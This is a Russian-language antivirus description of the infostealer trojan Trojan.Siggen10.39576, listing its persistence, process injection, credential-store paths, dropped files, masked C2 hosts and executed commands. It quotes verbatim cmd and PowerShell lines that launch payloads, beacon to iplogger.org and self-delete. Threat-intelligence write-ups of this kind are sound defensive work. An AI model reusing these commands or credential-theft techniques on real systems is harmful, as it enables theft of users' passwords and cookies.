Trojan.Siggen10.39576

Техническая информация

Для обеспечения автозапуска и распространения

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\nvngxupdatecheckdaily_{78821544-1544-1544-1544-788215441544}

Вредоносные функции

Внедряет код в

следующие системные процессы:

%WINDIR%\microsoft.net\framework\v4.0.30319\addinprocess32.exe

следующие пользовательские процессы:

chrome.exe

Ищет ветки реестра, отвечающие за хранение паролей сторонними программами

[<HKCU>\SOFTWARE\Martin Prikryl\WinSCP 2\Sessions]
[<HKCU>\Software\Martin Prikryl]
[<HKLM>\Software\Wow6432Node\Martin Prikryl]

Читает файлы, отвечающие за хранение паролей сторонними программами

%APPDATA%\opera software\opera stable\login data
%LOCALAPPDATA%\google\chrome\user data\default\web data
%LOCALAPPDATA%\google\chrome\user data\default\cookies
%LOCALAPPDATA%\google\chrome\user data\default\login data
%APPDATA%\mozilla\firefox\profiles.ini
%APPDATA%\thunderbird\profiles.ini

Изменения в файловой системе

Создает следующие файлы

%TEMP%\4dd3.tmp
%TEMP%\snobbishly.exe
%TEMP%\pedagogic.exe
%TEMP%\done.exe
%LOCALAPPDATA%low\2bimvd2nrwl.zip
%LOCALAPPDATA%low\machineinfo.txt
%LOCALAPPDATA%low\pp5nqfins-shm
%LOCALAPPDATA%low\pp5nqfins
%LOCALAPPDATA%low\foo40nrxy-shm
%LOCALAPPDATA%low\foo40nrxy
%LOCALAPPDATA%low\firefox_urls.txt
%LOCALAPPDATA%low\zea0wsbn3-shm
%LOCALAPPDATA%low\zea0wsbn3
%TEMP%\7c54.tmp.exe
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\fraqbc8ws
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-memory-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-localization-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-libraryloader-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-interlocked-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-handle-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l2-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-utility-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-time-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-stdio-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-runtime-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-process-l1-1-0.dll
%TEMP%\work_birja.exe
%TEMP%\8615.tmp.exe
%LOCALAPPDATA%low\rl44xntaz-shm
%TEMP%\piperonal.exe
%LOCALAPPDATA%low\rl44xntaz
%LOCALAPPDATA%low\r0ktzyi5n-shm
%LOCALAPPDATA%low\r0ktzyi5n
%LOCALAPPDATA%low\lp8sfldwn-shm
%LOCALAPPDATA%low\lp8sfldwn
nul
%TEMP%\bdd1.tmp-shm
%TEMP%\bdd1.tmp
%TEMP%\bdc0.tmp
%TEMP%\bdbf.tmp
%TEMP%\bdae.tmp
%TEMP%\bdad.tmp
%TEMP%\bd9d.tmp
%TEMP%\bd9c.tmp
%TEMP%\bd8b.tmp
%TEMP%\bd8a.tmp
%TEMP%\bc90.tmp
%TEMP%\bc7f.tmp
%TEMP%\bc5f.tmp
%TEMP%\bc5e.tmp
%TEMP%\bb73.tmp
%TEMP%\bb53.tmp-shm
%TEMP%\bb53.tmp
%TEMP%\aa0c.tmp.exe
%LOCALAPPDATA%\google\chrome\user data\default\chrome.exe
%TEMP%\9ed5.tmp.exe
%TEMP%\9082.tmp.exe
%TEMP%\nsh8b6e.tmp\idbgb3h0w2gg.dll
%TEMP%\wuthered.exe
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-private-l1-1-0.dll
%TEMP%\nsc83b1.tmp\tyinyr6.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-multibyte-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\breakpadinjector.dll
%LOCALAPPDATA%low\libesllibes\accessiblehandler.dll
%LOCALAPPDATA%low\libesllibes\vcruntime140.dll
%LOCALAPPDATA%low\libesllibes\ucrtbase.dll
%LOCALAPPDATA%low\libesllibes\softokn3.dll
%LOCALAPPDATA%low\libesllibes\qipcap.dll
%LOCALAPPDATA%low\libesllibes\prldap60.dll
%LOCALAPPDATA%low\libesllibes\nssdbm3.dll
%LOCALAPPDATA%low\libesllibes\lizilipes.zip
%LOCALAPPDATA%low\bbsqwy6yhk
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\fraqbc8wsa
%LOCALAPPDATA%\microsoft\vault\4bf4c442-9b8a-41a0-b380-dd4a704ddb28\policy.vpol
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\2f1a6504-0641-44cf-8bb5-3612d865f2e5.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\3ccd5499-87a8-4b10-a215-608888dd3b55.vsch
%ALLUSERSPROFILE%\microsoft\vault\ac658cb4-9126-49bd-b877-31eedab3f204\policy.vpol
%LOCALAPPDATA%low\sqlite3.dll
%TEMP%\4f79.tmp.exe
%ALLUSERSPROFILE%\filedata.png
%TEMP%\455b.tmp.exe
%TEMP%\336f.tmp.exe
%TEMP%\2d47.tmp.exe
%APPDATA%\iwdrcsf
%APPDATA%\wtrsjdh
%LOCALAPPDATA%low\libesllibes\accessiblemarshal.dll
%LOCALAPPDATA%low\libesllibes\freebl3.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-locale-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\ia2marshal.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-filesystem-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-environment-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-convert-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-conio-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-util-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-timezone-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-sysinfo-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-rtlsupport-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-profile-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-1.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processenvironment-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-namedpipe-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\nssckbi.dll
%LOCALAPPDATA%low\libesllibes\nss3.dll
%LOCALAPPDATA%low\libesllibes\msvcp140.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32_inuse.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32.dll
%LOCALAPPDATA%low\libesllibes\mozglue.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy_inuse.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy.dll
%LOCALAPPDATA%low\libesllibes\libegl.dll
%LOCALAPPDATA%low\libesllibes\lgpllibs.dll
%LOCALAPPDATA%low\libesllibes\ldif60.dll
%LOCALAPPDATA%low\libesllibes\ldap60.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-math-l1-1-0.dll
%LOCALAPPDATA%low\m8f0ffu0pfl.zip

Присваивает атрибут 'скрытый' для следующих файлов

%APPDATA%\wtrsjdh
%APPDATA%\iwdrcsf

Удаляет следующие файлы

%LOCALAPPDATA%low\fraqbc8wsa
%LOCALAPPDATA%low\libesllibes\ucrtbase.dll
%LOCALAPPDATA%low\libesllibes\softokn3.dll
%LOCALAPPDATA%low\libesllibes\qipcap.dll
%LOCALAPPDATA%low\libesllibes\prldap60.dll
%LOCALAPPDATA%low\libesllibes\nssdbm3.dll
%LOCALAPPDATA%low\libesllibes\nssckbi.dll
%LOCALAPPDATA%low\libesllibes\nss3.dll
%LOCALAPPDATA%low\libesllibes\msvcp140.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32_inuse.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32.dll
%LOCALAPPDATA%low\libesllibes\mozglue.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy_inuse.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy.dll
%LOCALAPPDATA%low\libesllibes\libegl.dll
%LOCALAPPDATA%low\libesllibes\lgpllibs.dll
%LOCALAPPDATA%low\libesllibes\ldif60.dll
%LOCALAPPDATA%low\libesllibes\ldap60.dll
%LOCALAPPDATA%low\libesllibes\ia2marshal.dll
%LOCALAPPDATA%low\libesllibes\freebl3.dll
%LOCALAPPDATA%low\libesllibes\breakpadinjector.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-utility-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-time-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\vcruntime140.dll
%TEMP%\bb53.tmp-shm
%TEMP%\nsh8b6e.tmp\idbgb3h0w2gg.dll
%TEMP%\bb53.tmp
%TEMP%\nsc83b1.tmp\tyinyr6.dll
%LOCALAPPDATA%low\rl44xntaz
%LOCALAPPDATA%low\rl44xntaz-shm
%LOCALAPPDATA%low\r0ktzyi5n
%LOCALAPPDATA%low\r0ktzyi5n-shm
%LOCALAPPDATA%low\lp8sfldwn
%LOCALAPPDATA%low\lp8sfldwn-shm
%TEMP%\8615.tmp.exe
%TEMP%\bdd1.tmp
%TEMP%\bdd1.tmp-shm
%TEMP%\bdc0.tmp
%TEMP%\bdbf.tmp
%TEMP%\bdae.tmp
%TEMP%\bdad.tmp
%TEMP%\bd9d.tmp
%TEMP%\bd9c.tmp
%TEMP%\bd8b.tmp
%TEMP%\bd8a.tmp
%TEMP%\bc90.tmp
%TEMP%\bc7f.tmp
%TEMP%\bc5f.tmp
%TEMP%\bc5e.tmp
%TEMP%\bb73.tmp
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-stdio-l1-1-0.dll
%LOCALAPPDATA%low\sqlite3.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-runtime-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-handle-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\accessiblemarshal.dll
%LOCALAPPDATA%low\libesllibes\accessiblehandler.dll
%LOCALAPPDATA%low\machineinfo.txt
%LOCALAPPDATA%low\firefox_urls.txt
%LOCALAPPDATA%low\2bimvd2nrwl.zip
%LOCALAPPDATA%low\pp5nqfins
%LOCALAPPDATA%low\pp5nqfins-shm
%LOCALAPPDATA%low\foo40nrxy
%LOCALAPPDATA%low\foo40nrxy-shm
%LOCALAPPDATA%low\zea0wsbn3
%LOCALAPPDATA%low\zea0wsbn3-shm
%LOCALAPPDATA%low\fraqbc8ws
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\libesllibes\lizilipes.zip
%LOCALAPPDATA%low\bbsqwy6yhk
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l2-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-private-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-interlocked-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-multibyte-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-math-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-locale-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-filesystem-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-environment-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-convert-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-conio-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-util-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-timezone-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-sysinfo-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-rtlsupport-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-profile-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-1.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processenvironment-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-namedpipe-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-memory-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-localization-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-libraryloader-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-process-l1-1-0.dll
%LOCALAPPDATA%low\m8f0ffu0pfl.zip

Подменяет следующие файлы

%LOCALAPPDATA%low\sqlite3.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-locale-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-filesystem-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-environment-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-convert-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-conio-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-math-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-util-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-sysinfo-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-synch-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-rtlsupport-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-profile-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-timezone-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-multibyte-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-private-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-process-l1-1-0.dll
%LOCALAPPDATA%low\fraqbc8ws-shm
%LOCALAPPDATA%low\fraqbc8ws
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-memory-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-localization-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-libraryloader-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-interlocked-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-heap-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-handle-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l2-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-file-l1-2-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-utility-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-time-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-string-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-stdio-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-crt-runtime-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-1.dll
%LOCALAPPDATA%low\firefox_urls.txt
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processthreads-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-namedpipe-l1-1-0.dll
%LOCALAPPDATA%low\libesllibes\softokn3.dll
%LOCALAPPDATA%low\libesllibes\qipcap.dll
%LOCALAPPDATA%low\libesllibes\prldap60.dll
%LOCALAPPDATA%low\libesllibes\nssdbm3.dll
%LOCALAPPDATA%low\libesllibes\lizilipes.zip
%LOCALAPPDATA%low\bbsqwy6yhk
%LOCALAPPDATA%low\libesllibes\ucrtbase.dll
%LOCALAPPDATA%low\gxix4a2dre
%LOCALAPPDATA%low\3solbph71y
%LOCALAPPDATA%low\x3cf3ednhm
%LOCALAPPDATA%low\rqf69azbla
%LOCALAPPDATA%low\rywtiizs2t
%LOCALAPPDATA%low\1xvpfvjcrg
%LOCALAPPDATA%low\fraqbc8wsa
%LOCALAPPDATA%low\exuieaoeii
%LOCALAPPDATA%low\libesllibes\vcruntime140.dll
%LOCALAPPDATA%low\libesllibes\accessiblehandler.dll
%LOCALAPPDATA%low\libesllibes\accessiblemarshal.dll
%LOCALAPPDATA%low\libesllibes\nssckbi.dll
%LOCALAPPDATA%low\libesllibes\nss3.dll
%LOCALAPPDATA%low\libesllibes\msvcp140.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32_inuse.dll
%LOCALAPPDATA%low\libesllibes\mozmapi32.dll
%LOCALAPPDATA%low\libesllibes\mozglue.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy_inuse.dll
%LOCALAPPDATA%low\libesllibes\mapiproxy.dll
%LOCALAPPDATA%low\libesllibes\libegl.dll
%LOCALAPPDATA%low\libesllibes\lgpllibs.dll
%LOCALAPPDATA%low\libesllibes\ldif60.dll
%LOCALAPPDATA%low\libesllibes\ldap60.dll
%LOCALAPPDATA%low\libesllibes\ia2marshal.dll
%LOCALAPPDATA%low\libesllibes\freebl3.dll
%LOCALAPPDATA%low\libesllibes\breakpadinjector.dll
%LOCALAPPDATA%low\libesllibes\api-ms-win-core-processenvironment-l1-1-0.dll
%LOCALAPPDATA%low\machineinfo.txt

Самоудаляется.

Сетевая активность

Подключается к

'5.##.48.187':35200
'zh###stin.xyz':80

TCP

Запросы HTTP GET

http://10##########older1002-0149251002202035.site/reestr.exe
http://10##########older1002-0149251002202035.site/raccon.exe
http://ap#.#pify.org/?fo########
http://an####theworld.com/sm.exe
http://ch####ealnow.top/gate/libs.zip
http://ch####ealnow.top/gate/sqlite3.dll

Запросы HTTP POST

http://ch####ealnow.top/gate/log.php
http://10##########older33417-01242510022020.space/
http://5.##.#8.187:35200/IRemotePanel via 5.##.48.187
http://zh###stin.xyz/IRemotePanel

'te##te.in':443

'dn######crosoft-healths.com':80

UDP

DNS ASK 10###########lder1002002131-service1002.space
DNS ASK 10###########lder1002002231-service1002.space
DNS ASK 10##########older3100231-service1002.space
DNS ASK 10###########lder1002002431-service1002.space
DNS ASK 10###########lder1002002531-service1002.space
DNS ASK 10##########older33417-01242510022020.space
DNS ASK 10##########older1002-0149251002202035.site
DNS ASK te##te.in
DNS ASK ch####ealnow.top
DNS ASK ap#.#pify.org
DNS ASK dn######crosoft-healths.com
DNS ASK an####theworld.com
DNS ASK zh###stin.xyz

Другое

Создает и запускает на исполнение

'%TEMP%\2d47.tmp.exe'
'%TEMP%\9ed5.tmp.exe'
'%TEMP%\9082.tmp.exe'
'%TEMP%\wuthered.exe'
'%TEMP%\piperonal.exe'
'%TEMP%\8615.tmp.exe'
'%TEMP%\work_birja.exe'
'%TEMP%\aa0c.tmp.exe'
'%TEMP%\snobbishly.exe'
'%TEMP%\done.exe'
'%TEMP%\7c54.tmp.exe'
'%TEMP%\4f79.tmp.exe'
'%TEMP%\455b.tmp.exe'
'%TEMP%\336f.tmp.exe'
'%TEMP%\pedagogic.exe'
'%LOCALAPPDATA%\google\chrome\user data\default\chrome.exe'
'%WINDIR%\syswow64\cmd.exe' /c start "" "Done.exe" & start "" "Pedagogic.exe" & start "" "Snobbishly.exe" & start "" "work_birja.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1SUnt7"' (со скрытым окном)
'%WINDIR%\syswow64\cmd.exe' /c start "" "Piperonal.exe" & start "" "Wuthered.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1S9Gy7"' (со скрытым окном)

Запускает на исполнение

'%WINDIR%\syswow64\cmd.exe' /c start "" "Done.exe" & start "" "Pedagogic.exe" & start "" "Snobbishly.exe" & start "" "work_birja.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1SUnt7"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Invoke-WebRequest -Uri https://iplogger.org/1SUnt7"
'%WINDIR%\syswow64\cmd.exe' /c start "" "Piperonal.exe" & start "" "Wuthered.exe" & powershell -command "Invoke-WebRequest -Uri https://iplogger.org/1S9Gy7"
'%WINDIR%\syswow64\windowspowershell\v1.0\powershell.exe' -command "Invoke-WebRequest -Uri https://iplogger.org/1S9Gy7"
'%WINDIR%\syswow64\cmd.exe' /C ping 127.0.0.1 -n 3 > nul & del "%TEMP%\8615.tmp.exe"
'%WINDIR%\syswow64\explorer.exe'
'%WINDIR%\explorer.exe'
'%WINDIR%\syswow64\ping.exe' 127.0.0.1 -n 3
'%WINDIR%\microsoft.net\framework\v4.0.30319\addinprocess32.exe'

Технологии

Термины

Обучение и просвещение

Мифы

Техническая информация

Рекомендации по лечению

Демо бесплатно на 14 дней